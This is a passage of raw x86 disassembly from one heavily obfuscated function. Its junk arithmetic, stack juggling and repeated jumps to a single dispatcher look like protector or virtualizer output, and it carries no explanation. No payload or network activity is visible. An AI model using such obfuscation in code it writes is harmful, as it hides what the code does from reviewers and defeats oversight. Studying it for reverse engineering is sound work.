; CODE XREF: sub_57DD3A+1AB67j shr edi, 5 add edi, 51682687h xor ecx, edi pop edi mov ebp, ecx jmp loc_59169E ; --------------------------------------------------------------------------- loc_593F04: ; DATA XREF: sub_57DD3A+1038Eo mov ax, word ptr [esp+50h+var_50] push edx push esp pop edx add edx, 4 push eax mov eax, 4 jmp loc_59CB62 ; --------------------------------------------------------------------------- loc_593F1C: ; CODE XREF: sub_57DD3A+116E7j mov edi, 454415Dh xor ebx, edi pop edi and ebx, 291D2514h shr ebx, 8 add ebx, 16336272h sub edx, ebx jmp loc_59F00F ; --------------------------------------------------------------------------- loc_593F3A: ; CODE XREF: sub_57DD3A+1FADAj shl esi, 6 push ebx mov ebx, 46AD6BDCh sub esi, ebx pop ebx push edx jmp loc_5A1B47 ; --------------------------------------------------------------------------- loc_593F4C: ; CODE XREF: sub_57DD3A+1674Dj push 2B32h mov [esp], ebx mov bl, 52h shr bl, 7 shr bl, 6 and bl, 26h push cx mov ch, 9Ch add ch, 0F8h dec ch sub ch, 87h jmp loc_59A36C ; --------------------------------------------------------------------------- loc_593F70: ; CODE XREF: sub_57DD3A+22F44j sub ecx, 4 xchg ecx, [esp+4Ah+var_4C+2] pop esp mov [esp+46h+var_46], ecx pop eax pop ecx push ebp push ecx push 13EF38CAh push [esp+4Ah+var_4C+2] pop ecx sub esp, 4 mov [esp+4Eh+var_50+2], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4Eh+var_50+2] pop esp shr ecx, 5 push edi mov edi, 3CE46E1Bh inc edi jmp loc_598894 ; --------------------------------------------------------------------------- loc_593FB1: ; CODE XREF: sub_57DD3A+154E9j sub ebx, 37D562BCh add ebx, ebp add ebx, 37D562BCh mov ebp, [esp+0] jmp loc_59D057 ; --------------------------------------------------------------------------- loc_593FC7: ; CODE XREF: sub_57DD3A+10882j xor ecx, eax xor eax, ecx push 1A47h mov [esp+18h+var_1A+2], ecx push ebp push [esp+1Ch+var_1A+2] pop ebp pop [esp+1Ch+var_1E+2] not ebp push 2112h mov [esp+1Ch+var_1E+2], ebp push [esp+1Ch+var_1A+2] pop ebp pop [esp+1Ch+var_1E+2] push [esp+18h+var_1A+2] pop ecx push ebp mov ebp, esp add ebp, 4 jmp loc_5A0BC9 ; --------------------------------------------------------------------------- loc_594000: ; CODE XREF: sub_57DD3A+16A0Dj inc word ptr [esp+1Ch+var_1E+2] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59400A: ; CODE XREF: sub_57DD3A+157AEj neg ebx shl ebx, 1 sub ebx, 66F61480h jmp loc_59D03A ; --------------------------------------------------------------------------- loc_594019: ; CODE XREF: sub_57DD3A+1CAB9j not ebp or ebp, 4B8504EAh dec ebp and ebp, 7257B0Fh sub ebp, 857993F0h add esi, ebp pop ebp add esi, edx sub esi, 7DAB6E1Eh push ecx mov ecx, 134069Fh push esi mov esi, 442F5796h add esi, 6974074Ah jmp loc_59DA0C ; --------------------------------------------------------------------------- loc_594050: ; CODE XREF: sub_57DD3A+2027Ej sub ecx, 234270FCh add ecx, ebx add ecx, 234270FCh add [ecx], eax mov ecx, [esp+22h+var_22] add esp, 4 push [esp+1Eh+var_1E] pop ebx jmp loc_593081 ; --------------------------------------------------------------------------- loc_594072: ; CODE XREF: sub_57DD3A+1B4F8j mov esi, ebp jmp loc_58E7AB ; --------------------------------------------------------------------------- loc_594079: ; CODE XREF: sub_57DD3A+16371j push ebx mov ebx, 15C3AC14h jmp loc_59CC9B ; --------------------------------------------------------------------------- loc_594084: ; CODE XREF: sub_57DD3A+1F911j mov eax, 38C95DFCh push ebp jmp loc_59F133 ; --------------------------------------------------------------------------- loc_59408F: ; CODE XREF: sub_57DD3A+1E306j add ch, bl pop ebx not ch or ch, 0Fh shr ch, 5 sub ch, 30h sub al, ch jmp loc_593DEB ; --------------------------------------------------------------------------- loc_5940A4: ; CODE XREF: sub_57DD3A+1147Ej mov eax, 2B875830h shr eax, 1 jmp loc_594079 ; --------------------------------------------------------------------------- loc_5940B0: ; CODE XREF: sub_57DD3A+21426j mov ebp, 12DE4E29h xor ebp, 7F696BCAh add ebp, 9543598Dh sub ebp, 278158F3h shl ebp, 7 xor ebp, 3EB690Ah xchg ecx, ebp push ecx not [esp+10h+var_12+2] pop ecx xchg ecx, ebp inc ebp xor ebp, 4087A872h jmp loc_590BE9 ; --------------------------------------------------------------------------- loc_5940E5: ; CODE XREF: sub_57DD3A+1C42Aj add esp, 4 push ebp jmp loc_59202A ; --------------------------------------------------------------------------- loc_5940EE: ; CODE XREF: sub_57DD3A+119D8j mov [esp+88h+var_88], ebx push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi add ebx, 2 xchg ebx, [esp+88h+var_88] pop esp push 4938h mov [esp+88h+var_88], edx mov dh, 6 push ecx mov cl, 0E4h jmp loc_59BAB8 ; --------------------------------------------------------------------------- loc_594118: ; CODE XREF: sub_57DD3A+18F91j shr esi, 3 jmp loc_5964FE ; --------------------------------------------------------------------------- loc_594120: ; CODE XREF: sub_57DD3A+16D35j push 13AC2CA0h jmp loc_59BE40 ; --------------------------------------------------------------------------- loc_59412A: ; CODE XREF: sub_57DD3A+17537j xchg eax, [esp+90h+var_90] pop esp mov [esp+8Ch+var_8C], ecx push esp mov ecx, [esp+90h+var_90] push edi mov edi, esp jmp loc_58F861 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+94h+var_94] push edi push esp jmp loc_58E969 ; --------------------------------------------------------------------------- loc_594148: ; CODE XREF: sub_57DD3A+1354Dj pop esp push 53FFh mov [esp+52h+var_54+2], ebx push 7B03h mov [esp+56h+var_58+2], ecx push 5C5F7AD0h pop ecx sub ecx, 4F4F1692h mov ebx, ecx pop ecx shr ebx, 3 sub ebx, 1A20C85h jmp loc_59525A ; --------------------------------------------------------------------------- loc_594176: ; CODE XREF: sub_57DD3A+1B241j sub ecx, 4 xchg ecx, [esp+52h+var_54+2] pop esp mov [esp+4Eh+var_50+2], ecx mov ecx, 36781528h push 488Bh mov [esp+52h+var_54+2], edi push 3DB83209h pop edi sub edi, 449C6CD2h push 2815h mov [esp+56h+var_58+2], ecx jmp loc_59CADD ; --------------------------------------------------------------------------- loc_5941A9: ; DATA XREF: sub_57DD3A+1050Eo mov cx, word ptr [esp+56h+var_58+2] sub esp, 4 jmp loc_58EB7E ; --------------------------------------------------------------------------- loc_5941B8: ; CODE XREF: sub_57DD3A+1F069j pop edx sub esi, 0F4499C8h jmp loc_5A0A9A ; --------------------------------------------------------------------------- loc_5941C4: ; CODE XREF: sub_57DD3A+24C86j xor esi, 7C892577h add edx, 70E17412h add edx, esi sub edx, 70E17412h jmp loc_59F11D ; --------------------------------------------------------------------------- loc_5941DD: ; CODE XREF: sub_57DD3A+1E8B7j xor ebp, 6A3B3696h jmp loc_590FA4 ; --------------------------------------------------------------------------- loc_5941E8: ; CODE XREF: sub_57DD3A+11760j pop edx sub esi, 3D16D73Eh add eax, esi jmp loc_58F216 ; --------------------------------------------------------------------------- loc_5941F6: ; CODE XREF: sub_57DD3A+1B6C0j xor edx, 92561A10h mov ecx, edx pop edx add ecx, 1 and ecx, 17706610h jmp loc_59EAA9 ; --------------------------------------------------------------------------- loc_594210: ; CODE XREF: sub_57DD3A+151BFj not ebp not ebp sub ebp, 9F71F8C8h jmp loc_59EF6D ; --------------------------------------------------------------------------- loc_59421F: ; CODE XREF: sub_57DD3A+19872j mov edx, 58A80E18h jmp loc_595EAE ; --------------------------------------------------------------------------- loc_594229: ; CODE XREF: sub_57DD3A+1FFD8j sub edx, 0EBD9BFA8h jmp loc_59D268 ; --------------------------------------------------------------------------- loc_594234: ; CODE XREF: sub_57DD3A+1D086j push 6C1A1536h jmp loc_59594E ; --------------------------------------------------------------------------- loc_59423E: ; CODE XREF: sub_57DD3A+1EA8Cj pop esp push 2BB7h mov [esp+52h+var_54+2], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+52h+var_54+2] pop esp jmp loc_594C33 ; --------------------------------------------------------------------------- loc_59425C: ; CODE XREF: sub_57DD3A+10EA8j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] mov [esp+1Ah+var_1A], esi push ebp push 0AB24740h jmp loc_595610 ; --------------------------------------------------------------------------- loc_59427B: ; CODE XREF: sub_57DD3A+1B3A8j mov esi, 83C2D69h mov eax, 0B40BE917h xor eax, esi jmp loc_59D383 ; --------------------------------------------------------------------------- loc_59428C: ; DATA XREF: sub_57DD3A+103EEo neg word ptr [esp+22h+var_22] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_594296: ; CODE XREF: sub_57DD3A+2003Dj sub eax, 7D351E8Ah xor eax, edx xor edx, eax xor eax, edx dec edx not edx xchg eax, edx or eax, 1D455F78h inc eax jmp loc_5A03FD ; --------------------------------------------------------------------------- loc_5942B0: ; CODE XREF: sub_57DD3A+1F363j push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp+26h+var_26] pop esp pop [esp+22h+var_22] mov esp, [esp+1Eh+var_1E] jmp loc_5982C3 ; --------------------------------------------------------------------------- loc_5942C8: ; CODE XREF: sub_57DD3A+1F933j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+22h+var_22] pop esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], edi push 7F5Ch mov [esp+22h+var_22], ebp push 67776329h push [esp+26h+var_26] pop ebp add esp, 4 jmp loc_59A703 ; --------------------------------------------------------------------------- loc_594304: ; CODE XREF: sub_57DD3A+17088j add [esp+22h+var_1E], 22C377E4h add [esp+22h+var_1E], 65A57404h sub [esp+22h+var_1E], 0D275E55h push ebx mov ebx, 32A44455h add [esp+26h+var_1E], ebx pop ebx pop ebp mov eax, [esp+1Eh+var_1E] add esp, 4 push 1FF7h mov [esp+1Eh+var_1E], edx mov edx, 0F6D51DEh jmp loc_592ED5 ; --------------------------------------------------------------------------- loc_594340: ; CODE XREF: sub_57DD3A+1F17Dj push eax sub esp, 4 mov [esp+26h+var_26], esp add [esp+26h+var_26], 4 pop eax add eax, 4 sub eax, 4 xor eax, [esp+22h+var_22] xor [esp+22h+var_22], eax xor eax, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], ecx sub esp, 4 mov [esp+22h+var_22], esp add [esp+22h+var_22], 4 jmp loc_591DD9 ; --------------------------------------------------------------------------- loc_594373: ; CODE XREF: sub_57DD3A+15C5Cj add esp, 4 push edx push [esp+8+var_4] pop edx pop [esp+8+var_8] pop esp xor [esp+0], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59438A: ; CODE XREF: sub_57DD3A+15963j push 4718h mov [esp+54h+var_54], ebp push 1E33h mov [esp+58h+var_58], esi mov esi, 1A45F4Eh push ebx mov ebx, 3EDF5F86h neg ebx inc ebx xor ebx, 12300F0Ch not ebx xor ebx, 2D4B0FC2h add esi, 665258B3h sub esi, ebx sub esi, 665258B3h mov ebx, [esp+5Ch+var_5C] sub esp, 4 mov [esp+60h+var_60], edx jmp loc_598C78 ; --------------------------------------------------------------------------- loc_5943D5: ; CODE XREF: sub_57DD3A+11DBAj push [esp+18h+var_1A+2] pop edx add esp, 4 sub esp, 4 mov [esp+18h+var_1A+2], ebx mov bh, 65h sub esp, 4 mov [esp+1Ch+var_1E+2], eax mov ah, 0D2h jmp loc_59D577 ; --------------------------------------------------------------------------- loc_5943F4: ; CODE XREF: sub_57DD3A+24A83j mov eax, ebp mov esi, eax pop eax jmp loc_5911C1 ; --------------------------------------------------------------------------- loc_5943FE: ; CODE XREF: sub_57DD3A+21EA9j add edi, 317E74FDh not edi jmp loc_59789B ; --------------------------------------------------------------------------- loc_59440B: ; CODE XREF: sub_57DD3A+242ABj pop edi add edx, 0FEA14CBh jmp loc_59B18E ; --------------------------------------------------------------------------- loc_594417: ; CODE XREF: sub_57DD3A+10C4Bj sub ch, 0EEh jmp loc_59E124 ; --------------------------------------------------------------------------- loc_59441F: ; CODE XREF: sub_57DD3A+10D75j add eax, 0EE23E87h jmp loc_5A25B7 ; --------------------------------------------------------------------------- loc_594429: ; CODE XREF: sub_57DD3A+212E0j mov ecx, 67D396Eh add edx, ecx pop ecx sub esp, 4 mov [esp+18h+var_1A+2], edi jmp loc_595B18 ; --------------------------------------------------------------------------- loc_59443F: ; CODE XREF: sub_57DD3A+13574j add edi, 0FFFFFFFFh or edi, 3370236Ch jmp loc_5978DA ; --------------------------------------------------------------------------- loc_59444D: ; CODE XREF: sub_57DD3A+23E8Dj mov edx, 1C44343Ah jmp loc_594C7C ; --------------------------------------------------------------------------- loc_594457: ; CODE XREF: sub_57DD3A+1F2FBj xor dl, cl neg cl jmp loc_59DF87 ; --------------------------------------------------------------------------- loc_594460: ; CODE XREF: sub_57DD3A+14220j pop esi jmp loc_59952B ; --------------------------------------------------------------------------- loc_594466: ; CODE XREF: sub_57DD3A+1136Aj or ebx, 47535981h sub ebx, 660A01C2h jmp loc_5988CC ; --------------------------------------------------------------------------- loc_594477: ; CODE XREF: sub_57DD3A+108D7j add byte ptr [esp+10h+var_12+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_594480: ; CODE XREF: sub_57DD3A+11987j sub al, bl sub al, 0F2h pop ebx pop cx jmp loc_593F4C ; --------------------------------------------------------------------------- loc_59448C: ; CODE XREF: sub_57DD3A+12DA9j add esp, 4 jmp loc_59CBA8 ; --------------------------------------------------------------------------- loc_594497: ; CODE XREF: sub_57DD3A+24B34j add eax, esi jmp loc_59E8E7 ; --------------------------------------------------------------------------- loc_59449E: ; CODE XREF: sub_57DD3A+167ABj sub ebx, 96D08B9Ch add esi, ebx jmp loc_5921F4 ; --------------------------------------------------------------------------- loc_5944AB: ; CODE XREF: sub_57DD3A+1FEF4j mov eax, edi push edi jmp loc_58F8A6 ; --------------------------------------------------------------------------- loc_5944B3: ; CODE XREF: sub_57DD3A+14352j and ebx, edx push [esp+44h+var_46+2] pop edx push edi jmp loc_59F14F ; --------------------------------------------------------------------------- loc_5944BF: ; CODE XREF: sub_57DD3A+24DD4j push 1 pop edi push 400h mov [esp+4Ch+var_4C], edi add [esp+4Ch+var_4C], 56254B41h pop eax jmp loc_5994F7 ; --------------------------------------------------------------------------- loc_5944DA: ; CODE XREF: sub_57DD3A+161AAj or ebx, edi mov edi, [esp+50h+var_50] add esp, 4 jmp loc_59449E ; --------------------------------------------------------------------------- loc_5944EA: ; CODE XREF: sub_57DD3A+22694j add ebx, 4 xchg ebx, [esp+4Ch+var_4C] mov esp, [esp+4Ch+var_4C] add ebp, 4 xchg ebp, [esp+4Ch+var_4C] mov esp, [esp+4Ch+var_4C] xor edi, 2B0672EBh add edi, 157F7719h sub edi, 632647EAh jmp loc_59C37A ; --------------------------------------------------------------------------- loc_594516: ; CODE XREF: sub_57DD3A+24303j pop ecx jmp loc_59CF9C ; --------------------------------------------------------------------------- loc_59451C: ; CODE XREF: sub_57DD3A+1BB97j pop esp push edi jmp loc_597D50 ; --------------------------------------------------------------------------- loc_594523: ; CODE XREF: sub_57DD3A+1BF8Aj mov eax, [esp+0] add esp, 4 push edx push esi push 35A93486h pop esi sub esi, 35A93484h mov edx, esi mov esi, [esp+4Ch+var_4C] add esp, 4 jmp loc_5A1B1C ; --------------------------------------------------------------------------- loc_594547: ; CODE XREF: sub_57DD3A+1E93Bj pop edi push ebx mov ebx, 317B6999h xor ebx, 3D44AA1h jmp loc_5A195F ; --------------------------------------------------------------------------- loc_594559: ; CODE XREF: sub_57DD3A+16FCDj sub esp, 4 mov [esp+4Ch+var_4C], ebp mov ebp, 69E24734h dec ebp not ebp and ebp, 2FD268E0h add ebp, 53B03DF0h sub esp, 4 mov [esp+50h+var_50], ebp jmp loc_59C4BD ; --------------------------------------------------------------------------- loc_594581: ; CODE XREF: sub_57DD3A+18FFBj not esi push ebp mov ebp, 1B114F6Ah sub esi, ebp pop ebp push edi jmp loc_596237 ; --------------------------------------------------------------------------- loc_594592: ; CODE XREF: sub_57DD3A+1CC14j and eax, ebp pop ebp add eax, 31901AFAh sub eax, 6F7235F3h push edi mov edi, 2BAB25B0h jmp loc_59C333 ; --------------------------------------------------------------------------- loc_5945AA: ; CODE XREF: sub_57DD3A+1F219j pop ecx jmp loc_59D59D ; --------------------------------------------------------------------------- loc_5945B0: ; CODE XREF: sub_57DD3A+18CFDj mov [esp+50h+var_50], edx push eax mov al, 0EFh push ecx jmp loc_59F491 ; --------------------------------------------------------------------------- loc_5945BC: ; CODE XREF: sub_57DD3A+227EAj pop ebp jmp loc_593DC7 ; --------------------------------------------------------------------------- loc_5945C2: ; CODE XREF: sub_57DD3A+1ED7Dj add ebp, edx jmp loc_594CE4 ; --------------------------------------------------------------------------- loc_5945C9: ; CODE XREF: sub_57DD3A+1D386j push 6FD5325Bh jmp loc_59B90B ; --------------------------------------------------------------------------- loc_5945D3: ; CODE XREF: sub_57DD3A+1CC84j pop esi jmp loc_595D2F ; --------------------------------------------------------------------------- loc_5945D9: ; CODE XREF: sub_57DD3A+19A61j not [esp+54h+var_54] pop ebx sub ebx, 76ED3D2Fh jmp loc_59EB7E ; --------------------------------------------------------------------------- loc_5945E8: ; CODE XREF: sub_57DD3A+14D71j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp add esp, 4 jmp loc_59B478 ; --------------------------------------------------------------------------- loc_5945FE: ; CODE XREF: sub_57DD3A+17CAAj mov ch, 24h shr ch, 4 not ch add ch, 1Dh shl ch, 3 push dx mov dh, 20h sub ch, dh jmp loc_5A3229 ; --------------------------------------------------------------------------- loc_594616: ; CODE XREF: sub_57DD3A+2401Ej add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] push edi push 4 pop edi jmp loc_59E26E ; --------------------------------------------------------------------------- loc_594631: ; CODE XREF: sub_57DD3A+1266Dj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_594636: ; CODE XREF: sub_57DD3A+1D580j jmp loc_58E353 ; --------------------------------------------------------------------------- push [esp-4+arg_0] pop eax push ebx mov ebx, esp sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 41841A38h jmp loc_59EF79 ; --------------------------------------------------------------------------- loc_594655: ; CODE XREF: sub_57DD3A+24643j pop esi add edi, 4 sub esp, 4 jmp loc_5924EC ; --------------------------------------------------------------------------- loc_594667: ; CODE XREF: sub_57DD3A+1201Aj pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+32h+var_32] pop esp push 6EF4h mov [esp+32h+var_32], edx mov dh, 1Bh push eax mov al, 9 dec al shr al, 4 dec al add al, 9Bh sub dh, al pop eax or dh, 50h xor dh, 7Ch sub bl, dh mov edx, [esp+32h+var_32] add esp, 4 push 33E0h mov [esp+32h+var_32], edx jmp loc_5909ED ; --------------------------------------------------------------------------- loc_5946B2: ; CODE XREF: sub_57DD3A+157D7j mov ecx, 14F86816h sub edi, 6588556Fh sub edi, ecx add edi, 6588556Fh pop ecx push eax mov eax, 24672D72h push ebx jmp loc_58FCEF ; --------------------------------------------------------------------------- loc_5946D2: ; CODE XREF: sub_57DD3A+189ADj shl edi, 7 add edi, 0B1E09CCCh mov eax, edi pop edi add ebx, eax mov eax, [esp+5Ch+var_5C] jmp loc_5A15B3 ; --------------------------------------------------------------------------- loc_5946E8: ; CODE XREF: sub_57DD3A+24652j mov eax, 1450358Bh sub esp, 4 mov [esp+60h+var_60], esi jmp loc_59770B ; --------------------------------------------------------------------------- loc_5946FB: ; CODE XREF: sub_57DD3A+14D35j add eax, edi pop edi add eax, 6110580Fh push [esp+2+var_4+2] push [esp+6+var_8+2] pop edi jmp loc_599AB0 ; --------------------------------------------------------------------------- loc_59470F: ; CODE XREF: sub_57DD3A+10FDAj mov ebx, esp add ebx, 4 push eax mov eax, 260D05DFh add eax, 0D9F2FA25h add ebx, eax pop eax sub esp, 4 mov [esp+22h+var_22], ebx push [esp+22h+var_1E] pop ebx jmp loc_59BD9B ; --------------------------------------------------------------------------- loc_594735: ; CODE XREF: sub_57DD3A+11460j mov [esp+5Ah+var_5C+2], ebp mov ebp, esp push ebx sub esp, 4 jmp loc_5965B8 ; --------------------------------------------------------------------------- loc_594743: ; CODE XREF: sub_57DD3A+23029j xor edx, [esp+62h+var_64+2] pop esp jmp loc_594000 ; --------------------------------------------------------------------------- loc_59474C: ; CODE XREF: sub_57DD3A+17BB7j mov [esp+5Eh+var_60+2], ebx mov ebx, edx push esi jmp loc_592C95 ; --------------------------------------------------------------------------- loc_594757: ; CODE XREF: sub_57DD3A+17B6Cj shr ch, 8 and ch, 0C3h neg ch not ch push bx mov bl, 22h push ebx mov bl, 0C0h jmp loc_59EE7B ; --------------------------------------------------------------------------- loc_59476D: ; CODE XREF: sub_57DD3A+22C76j pop eax xchg ebp, [esp+64h+var_64] pop esp mov [esp+60h+var_60], eax mov eax, 2D1807F0h mov [edi+24h], eax jmp loc_593C81 ; --------------------------------------------------------------------------- loc_594782: ; CODE XREF: sub_57DD3A+1B8FAj sub [esp+60h+var_5C], ebx mov ebx, [esp+60h+var_60] add esp, 4 jmp loc_59AFFC ; --------------------------------------------------------------------------- loc_594794: ; CODE XREF: sub_57DD3A+18C65j xchg ebp, [esp+5Ch+var_5C] pop esp jmp loc_597D43 ; --------------------------------------------------------------------------- loc_59479D: ; CODE XREF: sub_57DD3A+226BEj mov cl, 46h jmp loc_59F5C5 ; --------------------------------------------------------------------------- loc_5947A4: ; CODE XREF: sub_57DD3A+137C8j mov ecx, 3DAD657Bh jmp loc_58FDFA ; --------------------------------------------------------------------------- loc_5947AE: ; CODE XREF: sub_57DD3A+207CBj pop esi add edi, edx push ebp mov ebp, 48996187h xor ebp, 605B3C29h jmp loc_59E04A ; --------------------------------------------------------------------------- loc_5947C2: ; CODE XREF: sub_57DD3A+1E2CDj pop esi sub esp, 4 jmp loc_5956B5 ; --------------------------------------------------------------------------- loc_5947CE: ; CODE XREF: sub_57DD3A+17BC6j movzx eax, ax push small 6FF8h mov word ptr [esp+42h+var_42], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5947DE: ; CODE XREF: sub_57DD3A+242D3j add edi, 4 xchg edi, [esp+42h+var_42] mov esp, [esp+42h+var_42] jmp loc_59E652 ; --------------------------------------------------------------------------- loc_5947EF: ; CODE XREF: sub_57DD3A+20AD5j push 49CCh mov [esp+46h+var_46], edx push 361B7606h mov edx, [esp+4Ah+var_4C+2] add esp, 4 add edx, 0FCCB0055h push edx xor [esp+4Ah+var_4C+2], 18F47942h jmp loc_59DCFF ; --------------------------------------------------------------------------- loc_594815: ; CODE XREF: sub_57DD3A+13B00j neg esi add esi, 47686290h mov eax, esi pop esi jmp loc_58F5E5 ; --------------------------------------------------------------------------- loc_594825: ; CODE XREF: sub_57DD3A+1A3BBj shl eax, 7 add eax, 199BBD4Dh or ebx, eax pop eax jmp loc_59E84B ; --------------------------------------------------------------------------- loc_594835: ; CODE XREF: sub_57DD3A+11609j mov [esp+22h+var_22], ebp jmp loc_59000E ; --------------------------------------------------------------------------- loc_59483D: ; CODE XREF: sub_57DD3A+2542Ej mov ebp, 4 jmp loc_59492C ; --------------------------------------------------------------------------- loc_594847: ; CODE XREF: sub_57DD3A+1C562j mov ecx, eax pop eax sub edi, 780358A6h sub edi, ecx add edi, 780358A6h mov ecx, [esp+1Eh+var_1E] add esp, 4 sub esp, 4 mov [esp+1Eh+var_1E], ebx jmp loc_590DF3 ; --------------------------------------------------------------------------- loc_59486C: ; CODE XREF: sub_57DD3A+13605j xor [esp+42h+var_42], ecx jmp loc_599D38 ; --------------------------------------------------------------------------- loc_594874: ; CODE XREF: sub_57DD3A+1B2C1j push dx mov dl, 78h add cl, 0BEh add cl, 0E0h add cl, dl sub cl, 0E0h sub cl, 0BEh pop dx neg cl push dx jmp loc_59BF2A ; --------------------------------------------------------------------------- loc_594891: ; CODE XREF: sub_57DD3A+1575Ej pop [esp+3Eh+var_3E] mov esp, [esp+3Ah+var_3A] bswap eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+3Eh+var_3E] pop esp mov [esp+3Ah+var_3A], ecx push 50D8h mov [esp+3Eh+var_3E], esp add [esp+3Eh+var_3E], 4 jmp loc_58FED7 ; --------------------------------------------------------------------------- loc_5948C0: ; CODE XREF: sub_57DD3A+178DDj push ebp pop esi pop ebp shl esi, 5 add esi, 5CB82EC4h sub edx, 59BA77E3h jmp loc_59A0B0 ; --------------------------------------------------------------------------- loc_5948D7: ; CODE XREF: sub_57DD3A+1582Bj pop esp jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5948DD: ; CODE XREF: sub_57DD3A+1F644j pop ebp jmp loc_590E9F ; --------------------------------------------------------------------------- loc_5948E3: ; CODE XREF: sub_57DD3A+1D597j mov ebx, eax pop eax jmp loc_591883 ; --------------------------------------------------------------------------- loc_5948EB: ; CODE XREF: sub_57DD3A+1E85Ej push [esp+8+var_4] jmp loc_58EF8C ; --------------------------------------------------------------------------- loc_5948F4: ; CODE XREF: sub_57DD3A+13D7Dj mov ebp, [esp+1Ch+var_1E+2] add esp, 4 push ecx jmp loc_59E668 ; --------------------------------------------------------------------------- loc_594903: ; CODE XREF: sub_57DD3A+1E352j add edi, 4 add edi, 4 xchg edi, [esp+1Ch+var_1E+2] pop esp jmp loc_5A1B6E ; --------------------------------------------------------------------------- mov ax, word ptr [esp+18h+var_1A+2] push 6DE3h jmp loc_596E0D ; --------------------------------------------------------------------------- loc_594923: ; CODE XREF: sub_57DD3A+199E3j pop eax add esp, 4 jmp loc_59E2D2 ; --------------------------------------------------------------------------- loc_59492C: ; CODE XREF: sub_57DD3A+16B08j sub esi, 52F72B4Dh add esi, ebp push 67BCh mov [esp+26h+var_26], edx mov edx, 15461F50h neg edx xor edx, 0B84ECBFDh jmp loc_59304E ; --------------------------------------------------------------------------- loc_59494E: ; CODE XREF: sub_57DD3A+1517Aj add ecx, 49D39C41h sub eax, ecx pop ecx pop edi push eax jmp loc_593464 ; --------------------------------------------------------------------------- loc_59495E: ; CODE XREF: sub_57DD3A+1E24Fj push esi mov esi, 20ED4FD0h and esi, 2EB91BFDh xor esi, 73736EB7h add esi, 2CFA479Bh dec esi sub esp, 4 mov [esp+14h+var_16+2], edx mov edx, 9152C84h jmp loc_59E066 ; --------------------------------------------------------------------------- loc_594987: ; CODE XREF: sub_57DD3A+14918j xchg esi, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_16+2], edx mov edx, esp push esi mov esi, 602F121Ch add esi, 1 add esi, 1 jmp loc_5A1CD0 ; --------------------------------------------------------------------------- loc_5949A7: ; CODE XREF: sub_57DD3A+15F4Dj push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+0] jmp loc_5906B8 ; --------------------------------------------------------------------------- loc_5949BE: ; CODE XREF: sub_57DD3A+1FE2Fj pop ebp xor ebp, 2CCC0721h mov edx, ebp pop ebp pop ebx sub esp, 4 jmp loc_59AAFA ; --------------------------------------------------------------------------- loc_5949D1: ; CODE XREF: sub_57DD3A+24ACEj push edi mov edi, esp push eax mov eax, esp add eax, 4 jmp loc_59985E ; --------------------------------------------------------------------------- loc_5949E1: ; CODE XREF: sub_57DD3A+1D87Ej pop edx mov eax, [esp+44h+var_46+2] add esp, 4 mov ecx, [esp+40h+var_42+2] push ebp jmp loc_59B777 ; --------------------------------------------------------------------------- loc_5949F4: ; CODE XREF: sub_57DD3A+14049j pop edi push ebp mov ebp, 4 jmp loc_59E08C ; --------------------------------------------------------------------------- loc_594A00: ; CODE XREF: sub_57DD3A+24501j pop ebp sub ecx, 4F0526E3h add ecx, ebx add ecx, 4F0526E3h jmp loc_59C3CD ; --------------------------------------------------------------------------- loc_594A14: ; CODE XREF: sub_57DD3A+22073j pop ebp sub ecx, 5DA276B4h xor ecx, 613E067Dh push ecx xor [esp+18h+var_1A+2], offset loc_590877 mov eax, [esp+18h+var_1A+2] add esp, 4 xor eax, offset loc_590877 mov ecx, [esp+14h+var_16+2] push ebx mov ebx, esp add ebx, 4 jmp loc_592D03 ; --------------------------------------------------------------------------- loc_594A45: ; CODE XREF: sub_57DD3A+24A72j sub esp, 4 mov [esp+1Ch+var_1E+2], ebx jmp loc_59DB17 ; --------------------------------------------------------------------------- loc_594A53: ; CODE XREF: sub_57DD3A+24C66j pop esp add ecx, 4 xchg ecx, [esp+18h+var_1A+2] pop esp shr ecx, 0Ah push 7E6Fh mov [esp+18h+var_1A+2], ebx sub esp, 4 mov [esp+1Ch+var_1E+2], ebx jmp loc_594120 ; --------------------------------------------------------------------------- loc_594A74: ; CODE XREF: sub_57DD3A+188FFj mov edx, [esp+1Ch+var_1E+2] add esp, 4 and eax, ebx pop ebx jmp loc_59346D ; --------------------------------------------------------------------------- loc_594A85: ; CODE XREF: sub_57DD3A+219B0j push [esp+14h+var_16+2] pop esi add esp, 4 push esi xchg ecx, [esp+14h+var_16+2] not ecx xchg ecx, [esp+14h+var_16+2] pop esi xor eax, esi xor esi, eax xor eax, esi push ebx push 1213h mov [esp+18h+var_1A+2], edx push edi push 7EE54D7Dh mov edi, [esp+20h+var_22+2] add esp, 4 xor edi, 7EE54D7Ch mov edx, edi pop edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] mov [esp+1Ch+var_1E+2], edx jmp loc_59A8DE ; --------------------------------------------------------------------------- loc_594AD7: ; CODE XREF: sub_57DD3A+17F44j push [esp+1Ch+var_1E+2] pop eax add esp, 4 pop ebx xchg ecx, [esp+14h+var_16+2] pop esp mov 